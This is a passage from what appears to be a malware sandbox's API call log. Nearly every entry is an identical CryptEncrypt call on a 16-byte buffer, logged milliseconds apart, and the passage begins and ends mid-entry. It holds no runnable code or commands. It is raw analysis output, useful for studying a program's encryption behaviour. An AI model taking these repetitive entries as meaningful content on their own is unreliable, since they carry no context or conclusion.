pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.214] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.215] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.216] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.216] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.216] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.216] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.216] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.216] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.216] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.217] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.218] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.219] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, 